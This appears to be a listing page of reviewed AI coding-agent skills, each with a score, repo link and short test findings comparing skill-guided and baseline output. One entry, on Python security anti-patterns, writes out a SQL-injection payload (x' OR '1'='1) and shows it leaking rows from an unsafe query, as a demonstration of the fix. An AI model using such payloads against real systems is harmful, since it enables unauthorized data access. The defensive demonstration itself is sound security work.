- **Gumroad CLI Release** [pass, 9.6/10] — Cuts a gumroad-cli release with the repo's actual Go-date tag scheme (v0.YYYYMMDD.N), validated end to end against the live repo. Repo: https://github.com/antiwork/gumroad-cli. Card: https://skillproof.dev/skills/gumroad-cli-release. What we found: Ran the workflow for real against a throwaway clone of the live repo: it correctly detected origin/main already sits at the latest real tag (v0.20260713.1) and would stop; after simulating one new commit it computed v0.20260714.0, and the repo's own validate-release-tag.sh accepted it — a naive baseline guess (plain semver like v1.0.0) would have violated the Go-module tag shape the skill explicitly warns against.
- **HX Audio Player** [pass, 9.6/10] — Builder-style HXMusic/HXSound API reference for Android background music and sound effects Repo: https://github.com/huhx0015/HXAudioPlayer. Card: https://skillproof.dev/skills/hxaudio-player. What we found: Checked every method signature and build.gradle SDK level the skill claims against the real hxaudio source — all matched exactly; its 6-line HXMusic/HXSound builder calls replaced roughly 50 lines of hand-rolled MediaPlayer/SoundPool code, including a seek-before-prepared bug and a SoundPool load-race the baseline version had to work around.
- **Inngest Agent Evals** [pass, 9.6/10] — Wire production Inngest agent evals: direct/deferred scoring, sessions, and A/B experiments. Repo: https://github.com/inngest/inngest-skills. Card: https://skillproof.dev/skills/inngest-agent-evals. What we found: Typechecked the skill's exact code pattern against the real, currently-published inngest@4.12.1 package on npm — scoreMiddleware, createScorer, group.experiment, and experimentRef all compiled clean — while a from-memory baseline reinvented a non-durable, unattributed scoring system that POSTs to a made-up metrics endpoint and coin-flips its 'experiment' with Math.random().
- **Code Intelligence** [pass, 9.6/10] — Disciplined LSP-vs-rg-vs-fuzzy search precedence with position-anchoring and forced disclosure of tool substitutions. Repo: https://github.com/antonbabenko/agent-plugins. Card: https://skillproof.dev/skills/code-intelligence. What we found: Ran the repo's own 'rename parseConfig' test scenario on a real 3-file Go fixture: a naive blind sed replace (baseline) corrupted a string literal value and an unrelated identifier (parseConfigDeprecatedAlias); following the skill's discipline renamed only the true definition and call site and left the ambiguous comment/string mentions untouched for review - the exact failure mode the skill exists to prevent, reproduced and fixed live.
- **Make Goal** [pass, 9.6/10] — Turns a vague engineering ask into a runnable /goal contract with constraints, done-when, and stop rules. Repo: https://github.com/majiayu000/awesome-goal-prompts. Card: https://skillproof.dev/skills/make-goal. What we found: Ran the bundled scripts/lint_goal.py against a naive baseline task write-up and the skill-produced /goal contract for the same 'mobile login is broken' bug: baseline scored 4/14 clean checks, the skill's contract scored 13/14 clean — concrete, reproducible gap in context-grounding, fresh-verification, and stop-rule coverage.
- **A2A Agent Card** [pass, 9.6/10] — Builds a spec-correct A2A Agent Card JSON by fetching the live protocol schema first. Repo: https://github.com/OrcaQubits/agentic-commerce-skills-plugins. Card: https://skillproof.dev/skills/a2a-agent-card. What we found: Fetched the live A2A spec and confirmed the skill's securitySchemes/security + protocolVersion fields are the current schema; a memory-only baseline card used the deprecated 'authentication' field and dropped protocolVersion entirely.
- **MDMA Integration** [pass, 9.6/10] — Wires the correct minimal @mobile-reality/mdma-* package set for React and LLM-streaming integrations. Repo: https://github.com/MobileReality/mdma. Card: https://skillproof.dev/skills/mdma-integration. What we found: All nine @mobile-reality/mdma-* packages and all five claimed blueprints (change-management, clinical-ops, customer-escalation, incident-triage, kyc-case) check out as real; a baseline attempt at 'add MDMA' reached for generic react-markdown and missed the point entirely, while the skill wired the actual parse-store-render contract with the minimal package footprint.
- **Sentry Instrumentation** [pass, 9.6/10] — Governed Sentry metrics and gen_ai tracing, enforced by a real AST CI gate. Repo: https://github.com/tortastudios/sentry-instrumentation. Card: https://skillproof.dev/skills/sentry-instrumentation. What we found: Ran the bundled AST CI gate for real against a throwaway retry-loop instrumentation: it correctly flagged a naive sentry_sdk.metrics.incr() call with a dynamically-concatenated name and a raw-exception tag (M001), and passed clean once rewritten to the skill's governed MetricDef + emit_counter pattern -- it even caught my own first attempt at the 'correct' version for emitting inside the loop (M012) before I fixed the placement.
- **Setup Structure Index** [pass, 9.6/10] — Installs a two-tier codebase index (CLAUDE.md file map + per-directory YAML) with a hook that enforces upkeep. Repo: https://github.com/shannonbay/setup-structure-index. Card: https://skillproof.dev/skills/setup-structure-index. What we found: Built the prescribed CLAUDE.md file map, .claude/structure/*.yaml, and .claude/settings.json TaskCompleted hook on a throwaway 4-file repo; all three artifacts parsed as valid JSON/YAML, unlike the baseline's static prose notes that carry zero enforcement. Independently confirmed against the locally installed Claude Code settings schema that TaskCompleted is a genuine hook event, not an invented one.
- **Managing Dependencies** [pass, 9.6/10] — Supply-chain checklist that verifies a package via real registry APIs before you add it, and pushes you to inline instead. Repo: https://github.com/andrew/managing-dependencies. Card: https://skillproof.dev/skills/managing-dependencies. What we found: Live-tested against a real package (is-promise): the skill's decision funnel pulled real ecosyste.ms metadata (347k dependent repos, MIT, 0 advisories, but no release since 2020) and correctly steered toward inlining a 1-line typeof check instead of installing — a materially better, evidence-backed call than the naive 'looks popular, go ahead' baseline.
- **Bitrix24 Agent** [pass, 9.6/10] — Governed CLI for Bitrix24 REST integrations with plan-then-execute writes and audit logging. Repo: https://github.com/vrtalex/bitrix24-skill. Card: https://skillproof.dev/skills/bitrix24-agent. What we found: Ran the bundled CLI live against a throwaway portal: --plan-only produced a real plan_id with zero network calls, and both the write gate and destructive gate correctly refused to execute without --confirm-write/--confirm-destructive; the repo's own pytest suite passed 113/5-skipped. A from-memory baseline only knew the raw curl-based Bitrix24 API with no such safety layer.
- **Fable Native Code** [pass, 9.6/10] — Makes diffs match the file's existing idiom instead of your default habits. Repo: https://github.com/DizzyMii/fable-skills. Card: https://skillproof.dev/skills/fable-native-code. What we found: Real A/B on a terse 4-method Go ring buffer: my unguided addition included a doc comment, an error return no sibling method uses, a defensive nil-check comment, and a TODO; following the skill produced a 3-line method indistinguishable from the file's other methods. Repo ships real pressure-test transcripts (bench/fixtures/transcripts/s6-native-code/) backing its 'tested on Opus 4.8' claim.
- **DocumenterVitepress** [pass, 9.6/10] — Runs the DocumenterVitepress.jl local edit-rebuild-preview loop for Julia docs sites correctly. Repo: https://github.com/JuliaGenAI/julia-agent-skills. Card: https://skillproof.dev/skills/documenter-vitepress. What we found: Catches the specific dev_docs("build") gotcha — it silently appends /.documenter internally, so passing the wrong path is a real, easy-to-hit bug that generic Julia/VitePress knowledge would not flag.
- **Review Responder** [pass, 9.6/10] — Blocks sycophantic PR-review capitulation and forces evidence before implementing 'best practice' suggestions. Repo: https://github.com/Joncik91/ucai. Card: https://skillproof.dev/skills/review-responder. What we found: Ran a real reviewer comment ('add memoization here, it's a best practice') through both arms: the baseline reply opened with 'You're absolutely right!' and implemented it unverified; the skill reply searched for actual re-render/perf evidence, found none, and pushed back with a file-referenced explanation instead — exactly the forbidden-phrase and YAGNI-gate mechanics the skill describes.
- **Add Tool** [pass, 9.6/10] — Adds a new cybersecurity tool to this specific installer's modules, config, and validators. Repo: https://github.com/26zl/cybersec-toolkit. Card: https://skillproof.dev/skills/add-tool. What we found: Real A/B in the cloned repo: my naive baseline added trivy via git-clone (no actual build step) and tripped the validator with 'Missing URL'; following the skill's preferred binary-release method plus its own validate_tools_config.py and validate_mcp_sync.py scripts landed a clean 0-errors/0-warnings pass.
- **Doc Init** [pass, 9.6/10] — Bootstraps a business-domain (not folder-based) doc system for AI coding agents, with a machine-checked staleness gate. Repo: https://github.com/x0c/doc-skills. Card: https://skillproof.dev/skills/doc-init. What we found: Ran the real scripts end-to-end on a throwaway git fixture: project_inventory.py correctly flagged src/auth/login.js as a permissions-dictionary candidate, doc_coverage.py correctly flipped COMPLETE->STALE when file count grew past the 25% drift threshold, and the generated knowledge-base doc caught a real mutation side-effect (markPaid mutates its argument in place) that a hand-written baseline doc completely missed. Notable: Phase 1 auto-patches the user's *global* CLAUDE.md/AGENTS.md file (tested only against a throwaway copy, never the real one) — disclosed prominently, versioned, and idempotent, not covert, but worth knowing before running for real.
- **Glue** [pass, 9.6/10] — Official Glue IDL guide: model once, generate TS/Python/Rust/Go/OpenAPI/Protobuf. Repo: https://github.com/guywaldman/glue. Card: https://skillproof.dev/skills/glue. What we found: Glue is an obscure, newly-versioned (1.12.1) IDL a base model has essentially no training exposure to — an unguided baseline invented plausible-looking but wrong syntax (`interface`, `:id` path params, a bare `number` type), while following the skill produced a file matching the documented grammar exactly (`model`, `{id}` placeholders, `responses: {}` blocks, `///` doc comments).
- **Odoo Integration** [pass, 9.6/10] — Node.js XML-RPC patterns for syncing Odoo stock/sales/purchase data to Sheets, DBs, or Railway. Repo: https://github.com/txampa/claude-skill-odoo-integration. Card: https://skillproof.dev/skills/odoo-integration. What we found: Caught a real correctness bug a generic baseline is prone to: for sale.order the confirmed state is literally 'sale', not 'confirmed' (that value is for stock.picking/stock.move) — the skill's own state table gets this right, so a query built on baseline intuition would silently return zero rows against a live Odoo instance.
- **React Senior Code Review** [pass, 9.6/10] — Senior-level architecture review of one React feature with file:line findings and fixes. Repo: https://github.com/the-senior-dev/senior-dev-skills. Card: https://skillproof.dev/skills/react-senior-code-review. What we found: Ran it on a deliberately messy TodoList.tsx: it correctly escalated the mouse-only row-toggle to CRITICAL (keyboard users can't interact at all) — a severity call the untargeted baseline review missed entirely — and every other finding shipped with file:line, a rubric-matched severity, and a real fix snippet.
- **SG Deceptive Reachability Auditor** [pass, 9.6/10] — Composes AWS security-group references into a reachability graph to find the lateral-movement path no single rule reveals. Repo: https://github.com/anyshift-io/sre-skills. Card: https://skillproof.dev/skills/sg-deceptive-reachability-auditor. What we found: Ran the bundled replay suite for real (7/7 fixtures pass, including the four deceptive-clean ones where it correctly refuses to fabricate a path); on a fresh 4-SG fleet I built myself, a naive per-rule read called every rule 'properly scoped' and recommended no action, while the skill composed the exact internet->web->app->db critical path to the crown jewel that the per-rule read missed entirely.
- **Screen Time API Engineer** [pass, 9.6/10] — Docs-first iOS Screen Time (FamilyControls/ManagedSettings/DeviceActivity) implementation reference. Repo: https://github.com/Siddhu7007/screen-time-api-agent-skill. Card: https://skillproof.dev/skills/screen-time-api-engineer. What we found: Both bundled QA scripts pass for real (89/89 evidence URLs cross-referenced into the source-index matrix, all 22 guides have the 7 required sections), and the authorization guide surfaces a concrete production pitfall generic model knowledge usually misses - the FamilyControls entitlement must be registered separately for every extension target (DeviceActivity monitor, shield config, shield action), not just the main app, or Release builds silently fail while Debug works.
- **ESLint Fixes** [pass, 9.6/10] — Ten project-specific ESLint fix patterns (no-void, sonarjs/deprecation, lodash bans, jest-dom) with before/after code. Repo: https://github.com/gaia-react/gaia. Card: https://skillproof.dev/skills/eslint-fixes. What we found: Ran a genuine baseline-vs-skill comparison on a sonarjs/deprecation warning over z.string().email(): unguided editing only suggests checking the docs, while the skill gives the exact, currently-correct fix (z.email(), the real Zod v4 rename) plus five other project-specific patterns with runnable before/after code.
- **Memory Bank** [pass, 9.6/10] — Persistent .memory-bank/ project memory, TDD/Clean-Architecture rules, and a 25+ command dev toolkit. Repo: https://github.com/fockus/skill-memory-bank. Card: https://skillproof.dev/skills/memory-bank. What we found: Copied the raw repo straight from GitHub with no installer, and `mb-init-bank.sh` / `mb-note.sh` / `mb-idea.sh` / `mb-search.sh` all worked immediately on a throwaway project, scaffolding a real structured `.memory-bank/` (status, roadmap, backlog with monotonic I-NNN ids, timestamped notes) that a plain 'write some notes' baseline can't match. README's '1,900+ automated tests' claim is actually conservative — repo has 2,275 bats + 1,542 pytest tests, and the 29-subagent count matches exactly.
- **Context7 Documentation Lookup** [pass, 9.6/10] — Fetches live, sourced library docs via the Context7 API instead of relying on training data. Repo: https://github.com/arvindand/agent-skills. Card: https://skillproof.dev/skills/context7. What we found: Ran the bundled script live end to end: searched 'react' and got 6+ real library IDs with snippet counts, then fetched /vercel/next.js docs on 'server actions' and got current, source-cited official examples (including the 2026-era pattern of auth-checking inside the Server Action) - exactly the sourced, current-docs value the skill promises.
- **Tiny Robot Skill** [pass, 9.6/10] — Doc-grounded code generation for the TinyRobot Vue AI-chat component library. Repo: https://github.com/opentiny/agent-skills. Card: https://skillproof.dev/skills/tiny-robot-skill. What we found: Built the same small Vue chat panel twice: without the skill I hallucinated a `<TinyRobotChat>` component and a `from`/`text`/`@send` message schema that don't exist; following the skill's component-use.md workflow into the real bubble.md/sender.md docs produced working `TrBubbleList`/`TrSender` code with the actual `role`/`content` message shape and `submit` event -- exactly the invented-API failure mode the skill's own rules explicitly warn against.
- **Shadertoy To Flutter** [pass, 9.6/10] — Ports Shadertoy GLSL shaders into Flutter .frag files that actually compile and load. Repo: https://github.com/FlutterFlow/shadertoy_to_flutter_skill. Card: https://skillproof.dev/skills/shadertoy-to-flutter. What we found: Ran a real port of the standard Shadertoy 'hello world' cosine-palette shader: the baseline (no skill) kept a #version directive and gl_FragCoord/iResolution/iTime uniform names, which Flutter's Impeller compiler rejects or silently mismatches outright per Flutter's own docs; the skill's output dropped #version, added the flutter/runtime_effect.glsl include, and renamed to uSize/uTime/FlutterFragCoord() per its documented binding rules -- a concrete compile-or-not difference, not just style.
- **Goal Plan Clean** [pass, 9.6/10] — Composes a paste-ready /goal block that loops plan review-and-fix until APPROVED. Repo: https://github.com/restarter/lets-workflow. Card: https://skillproof.dev/skills/goal-plan-clean. What we found: Composed a real /goal block against a throwaway git repo/plan file: 43 lines with resolved absolute paths, explicit APPROVED-verdict verification text, and hard constraints blocking git/bd mutation or off-plan edits — versus a 1-line unverifiable baseline goal. Depends on the separate 'lets' plugin's /lets:review or /lets:check commands actually existing for the pasted /goal to run, which the SKILL.md discloses upfront.
- **ArcGIS 3D Layers** [pass, 9.6/10] — Exact ArcGIS JS SDK 3D layer syntax: SceneLayer, PointCloudLayer, VoxelLayer, DimensionLayer, glTF. Repo: https://github.com/SaschaBrunnerCH/arcgis-maps-sdk-js-ai-context. Card: https://skillproof.dev/skills/arcgis-3d-layers. What we found: Skill-guided code used the documented 'point-cloud-unique-value' renderer type and the .filters API to isolate ground/building LiDAR points; a from-memory baseline guessed a non-existent 'point-cloud-classification' renderer type and wrongly reached for definitionExpression, which the skill correctly avoids for PointCloudLayer.
- **Filament PHP v5 Coding Standards** [pass, 9.6/10] — Enforces correct Filament v5 API (recordActions, Heroicon enum, Operation enum) over stale v3/v4 patterns. Repo: https://github.com/olakunlevpn/olakunlevpn-filament-skills. Card: https://skillproof.dev/skills/olakunlevpn-filament-skills. What we found: Verified via live web search that the v5-specific API this skill enforces (recordActions()/groupedBulkActions() instead of the old actions()/bulkActions(), the Heroicon:: enum, HasLabel/HasColor/HasIcon) is real and current - a baseline answer without the skill defaults to deprecated v3/v4 Filament\Tables\Actions imports and string icon names, which the skill's checklist explicitly forbids.
- **Agent Bridge** [pass, 9.6/10] — File-based per-project chat (channels + DMs) so multiple AI coding agent instances can coordinate. Repo: https://github.com/msanchezdev/agent-bridge. Card: https://skillproof.dev/skills/bridge. What we found: Actually ran the bundled bin/bridge end-to-end in a throwaway repo -- say/inbox/history/thread/BRIDGE_NS all worked exactly as documented on the first try, including the broadcast model (own posts excluded from your own inbox) and per-project vs named-room namespacing; pure local-file IPC under ~/.claude/projects/.../bridge, no network calls anywhere in the script.
- **Coolify Manager** [pass, 9.6/10] — Diagnose and fix Coolify deployments, WordPress issues, and SSL certs via CLI and API. Repo: https://github.com/ajmcclary/Coolify-Manager. Card: https://skillproof.dev/skills/coolify-manager. What we found: Ran a real WordPress-down-after-.htaccess-edit task: the baseline guess reverts blindly, while the skill's bundled references/wordpress_fixes.md gives the exact Coolify container path (/var/www/html/), the correct php_value syntax (no '=' sign), and the HTTP_AUTHORIZATION rewrite rule that fixes the common REST-API false-positive — all Coolify-specific knowledge a generic answer would miss.
- **Brainstorm And Plan** [setup, 9.6/10] — Hard-gates code writing behind an approved design doc and a bite-sized, placeholder-free implementation plan. Repo: https://github.com/burhankhatri/e2e-testing. Card: https://skillproof.dev/skills/brainstorm-and-plan. What we found: On a real 'build a markdown-to-text CLI' task it forced a design step that surfaced a genuine correctness trade-off (regex-strip loses code blocks/tables vs an AST-based renderer) that my unguided baseline jumped straight past into code -- but its own Execution section calls out to sibling /tdd and /verify-done skills that a single-skill install won't have.
- **Unreal Blueprint Codegen** [pass, 9.6/10] — C++ recipes for generating UE5 Blueprint and Widget Blueprint .uasset files programmatically. Repo: https://github.com/maystudios/claude-skills. Card: https://skillproof.dev/skills/unreal-blueprint-codegen. What we found: No UE5 environment available to compile, so this was scored on evidence: a naive baseline C++ generator reproduces 5 distinct real UE Blueprint-compiler bugs (pinless nodes, pruned exec chain, (0,0) node collision, wrong Modified-vs-StructurallyModified call, missing two-pass compile) that the skill's own 'Critical rules' section explicitly names and fixes, so the skill isn't just restating public docs — it's encoding hard-won debugging knowledge.
- **Batch Plan Execute** [pass, 9.6/10] — Turns a requirement doc into dependency-ordered module plans, a checklist.md, then executes them with subagents. Repo: https://github.com/micooz/skills. Card: https://skillproof.dev/skills/batch-plan-execute. What we found: Ran a real 3-item requirements.md (digest job / email sender / settings UI) through both modes for real: the skill correctly identified that the email-sender module owns the shared digest_opt_out flag and made the UI module depend on it rather than re-defining it, produced per-module Decision-Required options with tradeoffs, and a checklist.md organized by user-visible outcome — none of which the flat baseline task list resolved.
- **MoxPP Add Project** [pass, 9.6/10] — Interactively scaffolds a new sub-project into a MoxPP (Premake5+Conan2) C++ workspace. Repo: https://github.com/Moxibyte/MoxPP. Card: https://skillproof.dev/skills/moxpp-add-project. What we found: Actually ran a live A/B scaffolding a shared-lib project in a throwaway MoxPP clone: the no-skill baseline silently produced a project that would fail to link on Windows (no .lib output) because it skipped the mandatory dummy.cpp; the skill run caught it and also kept CLAUDE.md's Conan-dependency list in sync.
- **AWS Diagram** [pass, 9.6/10] — Generates AWS architecture/security/network/data-flow diagrams from an infrastructure JSON snapshot. Repo: https://github.com/mpuig/claude-cloud-diagrams. Card: https://skillproof.dev/skills/aws-diagram. What we found: Ran both a naive baseline and the skill-guided script for real against the repo's own example infra JSON: the baseline crashed on `ImportError: cannot import name 'DynamoDB'` because the diagrams library actually exports `Dynamodb` — exactly the gotcha the SKILL.md's icon reference calls out — while the skill-guided version, using the documented exact import names, ran clean on the first try and produced a real 174KB PNG.
- **Analyze M1 Module For Migration** [pass, 9.6/10] — Decides migrate/replace/skip for a Magento 1 module before an M2 port Repo: https://github.com/ProxiBlue/claude-skills. Card: https://skillproof.dev/skills/analyze-m1-module-for-migration. What we found: Built a small synthetic M1 module fixture (observer + custom table) and ran it end to end: the skill-guided report correctly identified the exact event hook and table, then explicitly refused to conclude a migration recommendation because Step 3 (production usage verification) was unavailable — exactly the 'installed does not mean used' discipline it preaches. The ad hoc baseline skipped that check and guessed 'probably safe to skip' instead.
- **GitHub Actions** [pass, 9.6/10] — Keeps GitHub Actions workflows on current action versions with least-privilege security defaults. Repo: https://github.com/retlehs/gh-actions. Card: https://skillproof.dev/skills/gh-actions. What we found: Live-checked its own claim: actions/checkout and actions/setup-node are both actually at v7.0.0 right now, four majors past the v3 a baseline (no-skill) answer produced from memory — exactly the 'never guess versions' problem the skill exists to prevent.
- **Angular Enterprise Architecture** [pass, 9.6/10] — Enforces lazy-feature isolation and a one-way dependency graph in Angular apps, with an ESLint boundaries config to lock it in. Repo: https://github.com/angular-experts-io/ax-skills. Card: https://skillproof.dev/skills/angular-enterprise-architecture. What we found: On a real 'two features need the same badge component' question, the baseline (no-skill) answer okayed a direct sideways import between features as an acceptable shortcut; the skill's answer forbade it, extracted the generic part to ui/, and pointed at the bundled eslint-plugin-boundaries config to make the violation a lint error instead of a code-review miss.
- **Agent Project Development** [pass, 9.6/10] — Decision-tree methodology for scoping LLM pipeline projects: task-model fit, staged architecture, cost math. Repo: https://github.com/viktorbezdek/skillstack. Card: https://skillproof.dev/skills/agent-project-development. What we found: Applied to a 'summarize 50 weekly GitHub issues' planning task, the skill-guided answer produced a concrete acquire/prepare/process/parse/render pipeline with a real cost formula and file-system state layout, versus a baseline answer that vaguely suggested multi-agent 'if it gets complex' - exactly the anti-pattern the skill's own decision tree warns against for independent items.
- **Java Enterprise Workflow** [pass, 9.6/10] — Enterprise Java checklists that force a cursor/transaction/mapper fix to actually enforce the invariant, not just mention it. Repo: https://github.com/kyle641320/Scout4j. Card: https://skillproof.dev/skills/java-enterprise-workflow. What we found: Built a throwaway MyBatis-style cursor-pagination bug (rows with identical createdAt get silently skipped) and ran a real A/B: the freeform baseline 'fix' only added id to ORDER BY and left the WHERE seek predicate and cursor DTO untouched -- the skip bug survives untouched -- while the skill's references/transactions.md pattern rewrote the seek predicate to (created_at, id), made the cursor typed, and added a boundary test that a hand-trace confirms actually catches the tie.
- **OpenMythos** [pass, 9.6/10] — Codebase-expert prompt for Kye Gomez's OpenMythos looped-transformer PyTorch repo. Repo: https://github.com/SarthakDz/OpenMythos-Skill. Card: https://skillproof.dev/skills/openmythos. What we found: Fed it a KV-cache-error-on-decode-step-2 question: it went straight to the actual repo mechanism (per-loop-depth cache keys + the kv_cache-vs-break invariant) instead of the generic cache-debugging checklist a baseline answer produced.
- **Security Anti-Patterns Python** [pass, 9.6/10] — Read-only OWASP Top 10 guardrail for Python/Django/Flask/FastAPI code generation - no scripts, just rules. Repo: https://github.com/subhashdasyam/security-antipatterns-python. Card: https://skillproof.dev/skills/security-antipatterns-python. What we found: Proved the core claim with a real exploit: a naive f-string SQL query leaked both rows in an in-memory SQLite table for payload x' OR '1'='1', while the skill's references/injection.md-prescribed parameterized query (con.execute('... WHERE username = ?', (name,))) returned zero rows for the same payload - a genuine, reproducible SQLi fix, not just advice.
- **Saasify** [pass, 9.6/10] — Turns a single-user app into multi-tenant SaaS: auth, org-scoped RLS, RBAC, billing, invites in order. Repo: https://github.com/dolevhayut/saasify. Card: https://skillproof.dev/skills/saasify. What we found: The reference SQL bakes in a non-obvious safety rule a baseline plan misses entirely: backfill organization_id before setting NOT NULL before enabling RLS, or existing rows silently disappear from every query.
- **EPLAN Development** [pass, 9.6/10] — C#/EPLAN P8 scripting patterns plus a live 55k-vector RAG over the full docs Repo: https://github.com/covagashi/eplan-rag-mcp. Card: https://skillproof.dev/skills/eplan-development. What we found: Wrote an EPLAN PDF-export script from memory first: it used TYPE 'PDF', which the official parameter table says is invalid, so the action would fail at runtime. Following the skill, the bundled actions reference plus the live RAG endpoint (55,000 vectors, verified via /stats) returned the exact export parameter table: TYPE must be PDFPROJECTSCHEME or PDFPAGESSCHEME, EXPORTFILE is required with the extension auto-appended, and the pitfalls file adds the dispose-everything and no-empty-catch rules. The corrected script cites documented parameters instead of guesses. EPLAN itself is Windows-only licensed software, so the script could not be executed live; correctness was judged against the official eplan.help parameter tables the RAG serves.
- **Launchworthy** [pass, 9.6/10] — Production-readiness audit for vibe-coded apps: scored scorecard plus fix list Repo: https://github.com/Wunderlandmedia/launchworthy. Card: https://skillproof.dev/skills/launchworthy. What we found: Ran it against a planted Vite+React+Supabase demo carrying eight real production holes. Following the checklist surfaced roughly 15 severity-tagged findings across all five domains with exact file paths and fix playbooks, including the Supabase-specific ones a quick review misses: RLS off as the CRITICAL root cause, the committed .env needing key rotation rather than mere deletion, and correctly NOT flagging the public anon key as a leak. A no-skill eyeball pass of the same code caught about five issues as a flat list with no severities and no urgency ordering. A clear, reproducible edge over the baseline, and it honestly marks live-only checks as MANUAL CHECK NEEDED instead of self-certifying.
- **Git Workflow Standards** [pass, 9.2/10] — Conventional Commits, branch naming, and merge-strategy standards, with 7 reference docs. Repo: https://github.com/Galaxy-Dawn/claude-scholar. Card: https://skillproof.dev/skills/git-workflow. What we found: Asked for help before opening a PR from a one-commit branch named 'my-fix' with the message 'fixed stuff': the skill named the exact branch convention (bugfix/login-captcha-refresh), rewrote the commit to its own Conventional Commits worked example almost verbatim, and specified rebase-onto-develop per its own merge-strategy table — all more precise than generic advice, none of it wrong. (Listed here under our older name; the skill's own name is "Git Workflow Standards".)
- **Create Custom Agent** [pass, 9.2/10] — Scaffolds VS Code .agent.md custom agent files with correct frontmatter, tools, and handoffs. Repo: https://github.com/dotnet/skills. Card: https://skillproof.dev/skills/create-custom-agent. What we found: An unguided agent file was missing the required description field; following the skill's steps produced a spec-compliant file matching the real editor's actual file structure.
- **Browser Edge Cases** [pass, 9.2/10] — SOP + code patterns for fixing browser automation failures on LinkedIn, X, SPAs, Shadow DOM. Repo: https://github.com/aden-hive/hive. Card: https://skillproof.dev/skills/browser-edge-cases. What we found: For a stuck 'Load more' button, an unguided answer gave generic advice like checking the selector; the skill produced a working overlay-detection snippet and a 3-tier fallback pattern instead.
- **Angular Architect** [pass, 9.2/10] — Scaffolds Angular 17+ standalone components, NgRx stores, and RxJS patterns with tests. Repo: https://github.com/Jeffallan/claude-skills. Card: https://skillproof.dev/skills/angular-architect. What we found: An unguided component defaulted to legacy @Input()/@Output() decorators; the skill version used modern signal-based APIs with explicit OnPush - a real modernization gain, not just style.
- **PR To Main** [pass, 9.2/10] — Opens a Changesets-aware PR to main for the cc-wf-studio pnpm monorepo, never skipping the release changeset. Repo: https://github.com/breaking-brake/cc-wf-studio. Card: https://skillproof.dev/skills/pr-to-main. What we found: For a one-commit fix, an unguided PR body skipped the changeset entirely; the skill caught it and flagged that a missing changeset means the change silently never ships.
- **Changelog** [pass, 9.2/10] — Fills CHANGELOG.md Unreleased with one linked line per commit since the last tag. Repo: https://github.com/codeaholicguy/ai-devkit. Card: https://skillproof.dev/skills/changelog. What we found: Ran it on a real 3-commit test repo: it correctly linked the PR-tagged commit to /pull/101 and the two plain commits to their commit hashes, reproducing the exact `- [hash](url) summary` format the ai-devkit project uses in its own CHANGELOG.md — baseline produced only vague, unlinked bullets.
- **Clean Code** [pass, 9.2/10] — Uncle Bob's Clean Code framework as a scored 0-10 rubric with six disciplines and reference deep-dives. Repo: https://github.com/wondelai/skills. Card: https://skillproof.dev/skills/clean-code. What we found: Ran a genuinely messy 5-line function through it: baseline just renamed variables, but the skill scored it 3/10, named the exact violations (flag argument breaking command-query separation, magic number for the op type, a dead unused parameter) and split it into two properly-named functions instead of a generic tidy-up.
- **Review Discipline** [pass, 9.2/10] — Findings-only code review: hunt wide, prove every bug, no praise filler. Repo: https://github.com/Skillproofdev/review-discipline. Card: https://skillproof.dev/skills/review-discipline. What we found: Our own skill — tested under the same protocol, disclosed. Seeded-bugs bench (4 samples, 21 seeded bugs, 12 FP traps): the skill (v2) catches 18.5/21 bugs (88%) vs 17/21 (81%) unguided, goes 7/7 on P2 edge-case bugs vs base's 6/7, and holds 0% false positives vs base's 5.6%, with ~100% of findings carrying a demonstrated failure path vs ~63% for base. One disclosed caveat: v2 is not a strict superset of the skill's own v1 — it traded one subtle deep-nesting P3 catch for the broader P2 sweep. Protocol test caught real issues in our own repos (dead benchmark links, strict-YAML frontmatter) — fixed and re-verified same day.
- **C# Scripts** [pass, 9.2/10] — Runs file-based C# apps with the .NET CLI without scaffolding a full project. Repo: https://github.com/dotnet/skills. Card: https://skillproof.dev/skills/csharp-scripts. What we found: Verbatim clone+cp install worked cleanly (self-contained SKILL.md, strict-YAML frontmatter, no missing referenced files); description is tightly scoped with explicit do/don't cases so the trigger battery separated without overlap. OUTPUT was tested on code correctness only because the .NET SDK is not installed in the sandbox (a genuine runtime dependency the skill itself checks for in Step 1 and documents a fallback for). A/B on a two-file file-based C# app: the skill wired the helper in with the `#:include` directive per its conventions and was correct/runnable, while the no-skill base wrongly assumed sibling `.cs` files auto-compile into a file-based app (they do not) and would fail to resolve the helper — a real correctness win driven by the skill's directive conventions.
- **Compact Memory Implementation** [pass, 9.2/10] — Developer guide to implement compact memory/context compaction in Claude agents. Repo: https://github.com/simbajigege/book2skills. Card: https://skillproof.dev/skills/compact-memory-implementation. What we found: Ran a mini design task twice: the unguided baseline gave generic 'summarize periodically' advice, while the skill-guided version specified a 70-80% token threshold, a Haiku-fork compactor pattern, an 8-field JSON summary schema, and a cross-session chaining strategy.
- **AI Team Orchestration** [pass, 9.2/10] — Bootstraps a multi-agent dev/QA team with sprint plans and cross-chat handoff docs. Repo: https://github.com/github/awesome-copilot. Card: https://skillproof.dev/skills/ai-team-orchestration. What we found: Fetching the linked templates confirmed the 14-section PROJECT_BRIEF.md and the sprint plan/progress/done doc split are real, filled-out files rather than stubs -- a noticeably more complete scaffold than an ad-hoc project brief, though the 'team' is still just customizable role-name placeholders.
- **Golang Data Structures** [pass, 9.2/10] — Go slice/map internals and container-package selection guidance, with idiomatic generics. Repo: https://github.com/samber/cc-skills-golang. Card: https://skillproof.dev/skills/golang-data-structures. What we found: Asked it to dedupe a slice of Go structs by ID: it swapped a bool map for a struct{}-backed generic Set[T] and preallocated both the slice and map per its own best-practices table — measurably tighter than a baseline, unguided answer.
- **AWS CloudFormation CloudFront** [pass, 9.2/10] — Production CloudFormation patterns for CloudFront: origins, caching, WAF, and security headers. Repo: https://github.com/giuseppe-trisciuoglio/developer-kit. Card: https://skillproof.dev/skills/aws-cloudformation-cloudfront. What we found: Ran the CFN mini-task live: the skill's S3+OAC template used the real AWS-managed CachingOptimized policy ID (658327ea-f89d-4fab-a63d-7e88639e58f6) instead of a guessed value, plus still-accurate account limits (200 distributions, 25 origins, ACM must be us-east-1) a memory-only answer tends to skip.
